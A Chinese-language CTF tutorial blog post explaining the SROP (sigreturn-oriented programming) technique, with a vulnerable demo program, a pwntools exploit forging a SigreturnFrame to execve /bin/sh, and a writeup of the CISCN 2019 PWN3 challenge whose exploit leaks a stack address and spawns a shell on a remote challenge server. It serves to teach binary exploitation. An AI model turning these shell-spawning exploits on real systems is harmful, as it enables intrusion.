前言 SROP(Sigreturn Oriented Programming)这种利用方法经常会用在bypass一些沙盒保护或者是一些高版本的glibc的利用方式如house of pig ,house of banana 等,是很多利用方式的一个前置技能,故特地来学习下。
原理 下图是当Linux/Unix操作系统中一个进程从接收到一个信号(signal)到恢复进程执行所经历的一个过程。
Step1: 用户层接收到一个signal
Step2: 内核层会保存当前进程的上下文即sigFrame(即寄存器的状态)到栈上,然后被内核挂起。此时sigFrame顶部的八/四个字节会被设置为rt_sigreturn,rt_sigreturn处的内容指向sigreturn系统调用代码。
Step3: 用户层的Signal Handle将会对接受到的signal做一个处理,处理结束后会将栈顶指针指向rt_sigreturn。
Step4: sigreturn系统调用最终会根据SigFrame中的数据将上下文恢复
Step5: 继续执行进程
那么我们的攻击思路就很显而易见了,如果我们在sigreturn恢复进程上下文之前就将SigFrame中的数据篡改为我们的恶意代码,就能控制寄存器来劫持程序执行流
Step4中sigreturn恢复上下文的操作其实是根据ucontext_t结构体来恢复,ucontext结构体内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 typedef struct ucontext_t { unsigned long int uc_flags; struct ucontext_t *uc_link ; stack_t uc_stack; mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem ; } ucontext_t ; typedef struct { void *ss_sp; size_t ss_size; int ss_flags; } stack_t ; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
而SROP其实就是伪造ucontext_t结构体,而在pwntools中已经集成了相关的方法
具体构造方法见:http://docs.pwntools.com/en/stable/rop/srop.html?highlight=srop
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 char global_buf[0x200 ];int main () { asm ( "mov $0, %%rax\n" "mov $0, %%rdi\n" "lea %0, %%rsi\n" "mov $0x200, %%rdx\n" "syscall\n" "cmp $0xf8, %%rax\n" "jb exit\n" "mov $0, %%rdi\n" "mov %%rsi, %%rsp\n" "mov $15, %%rax\n" "syscall\n" "jmp exit\n" "nop\n" "nop\n" "syscall:\n" "syscall\n" "jmp exit\n" "exit:\n" "mov $60, %%rax\n" "mov $0, %%rsi\n" "syscall\n" : : "m" (global_buf) : ); }
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context.arch = "amd64" elf = ELF('./srop' ) sh = process('./srop' ) try : f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() except Exception as e: print (e) str_bin_sh_offset = 0x100 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = elf.symbols['global_buf' ] + str_bin_sh_offset frame.rsi = 0 frame.rdx = 0 frame.rip = elf.symbols['syscall' ] sh.send(bytes (frame).ljust(str_bin_sh_offset, b'a' ) + b'/bin/sh\x00' ) sh.interactive() os.system("rm -f pid" )
列题 [CISCN 2019华南]PWN3 题目分析 vuln函数中存在明显的栈溢出,且read和write函数都是通过syscall来调用的,同时write会打印出一个栈地址
同时题目还给到一个gadget
这题目的用意就很明显了,“mov rax 0x0f”,而sigreturn的系统调用号就正好是15号,题目中也给出了“syscall ret ”这意味着我们可以直接调用sigreturn,通过伪造SigFrame来控制寄存器,/bin/sh的地址我们可以通过之前打印出来的栈地址减去偏移来计算。
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * p = remote("1.14.71.254" ,28101 ) elf = ELF('ciscn_s_3' ) context.arch = 'amd64' main = elf.sym['main' ] syscall_15 = 0x0000000004004DA syscall = 0x000000000400517 p.sendline(b'a' *0x10 +p64(main)) p.recvuntil(b'a' *0x10 ) stack_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("stack:" +hex (stack_addr)) bin_sh = stack_addr - 0x138 farme = SigreturnFrame() farme.rax = 59 farme.rdi = bin_sh farme.rip = syscall farme.rsi = 0 payload = b'/bin/sh\x00' +p64(0 )+p64(syscall_15)+p64(syscall)+bytes (farme) p.sendline(payload) p.interactive() p.interactive()
Srop进阶 在一些堆的利用中,一般会用setcontext+xx的位置来完成SROP来进行orw,在glibc2.27版本及一下一般是setcontext+53,2.3+版本一般为setcontext+61在后续的一些高版本glibc利用方式的中会详细介绍。
参考 https://www.bilibili.com/video/BV1Uv411j7fr?p=11 https://www.anquanke.com/post/id/85810 http://blog.eonew.cn/archives/975